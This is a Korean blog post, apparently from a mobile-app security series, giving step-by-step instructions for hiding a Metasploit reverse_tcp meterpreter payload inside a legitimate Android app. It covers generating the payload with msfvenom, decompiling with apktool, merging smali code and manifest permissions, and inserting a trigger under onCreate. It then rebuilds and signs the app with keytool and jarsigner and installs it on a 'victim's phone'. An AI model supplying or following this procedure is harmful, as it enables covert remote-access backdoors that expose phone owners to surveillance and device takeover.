1.msfvenom의 android/meterpreter/reverse_tcp 를 이용 payload.apk를 생성한다.
2.폴더 안에 악성코드 넣을 앱 파일과 payload.apk를 넣고 apktool d payload.apk 와 apktool d 앱파일.apk 를 하여 디코딩 해준다. (apk는 압축파일과 비슷하므로 디코딩으로 풀어준다.
3.디코딩후 만들어진 폴더의 payload 폴더로 가서 smali/com/ 안의 metasploit 폴더를 복사해서 앱파일 폴더의 smali/com 안에 cp -r metasploit경로 . 명령어로 넣어준다.
4.두 개의 폴더 안의 Android 매니페스트 파일을 leafpad 등으로 열어주고 payload의 uses permission 에서 feature 까지 복사해서 앱파일의 같은 부분 안에 붙여넣어 준다.(덮어쓰기 아님)
-안드로이드 매니페스트는 앱이 할수있는 동작들이 명시되어있는 파일
5.ctrl+f 에서 launcher 검색시 main과 launcher가 붙어있는 부분이 가장 처음에 시작되는 부분에 해당되는 com. 안드로이드 smali 파일을 경로를 찾아서 들어간뒤 leafpad로 열어준다.
6.onCreate를 ctrl+f로 검색해서 바로 밑에 payload 시작 라인을 추가해준다.
추가해줄것은 아까 옮겨줬던 metasploit 안 stage 안에서 cat MainService.smali를 사용 끝의 invoke-static 부분(페이로드 트리거 역할)을 복사후 onCreate 밑 line 밑에 붙여넣기 해준다.
(앱이 시작될때 db가 생성되는 라인) - 앱이 시작되면서 payload도 같이 실행됨
7.apktool b 앱폴더명 을 사용해서 build를 해준다.
8.키에 대한 싸인이 필요한 앱은 키를 생성하고 싸이닝을 해주어야한다.
#키생성 - keytool -genkey -v -keystore ~/.android/debug.keystore -storepass android -alias androiddebugkey -keypass android -validity 9999 (home 폴더에서 mkdir .android 생성 필수)
#키 싸인 - Jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -sigalg SHA1withDSA 앱명.apk androiddebugkey
9.나머지는 핸들러를 실행시켜두고 apk를 피해자의 폰으로 옮겨서 설치후 실행하면 끝
'4. 모바일 앱 취약점 진단 > Android' 카테고리의 다른 글
[Android] 1.2. 앱 무결성 검증 취약점 (0) | 2024.06.19 |
---|---|
[Android] 1.1. 소스코드 난독화 및 암호화 취약점 (0) | 2024.06.19 |
안드로이드 가상환경을 구축하기 - Genymotion, 블루스택, Nox (0) | 2023.12.28 |
안드로이드 앱에 악성코드 넣기 [kwetza] (0) | 2023.12.26 |
안드로이드 악성 코드 - AhMyth Android RAT 도구 (0) | 2023.12.26 |